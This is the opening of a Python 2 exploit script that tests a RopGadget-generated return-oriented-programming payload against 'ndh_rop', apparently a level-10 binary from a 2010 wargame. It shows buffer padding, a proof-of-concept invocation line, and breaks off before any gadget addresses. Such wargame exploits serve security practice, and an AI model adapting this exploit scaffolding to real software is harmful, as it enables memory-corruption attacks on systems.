#!/usr/bin/python2 # Test RopGadget payload in ndh_rop binary # ndh_rop is a binary on wargame-ndh-2010 (level 10) # # poc: ./ndh_rop "$(python2 ./exploit.py)" from struct import pack p = "a" * 12 # Generated by RopGadget v3.0 p += pack("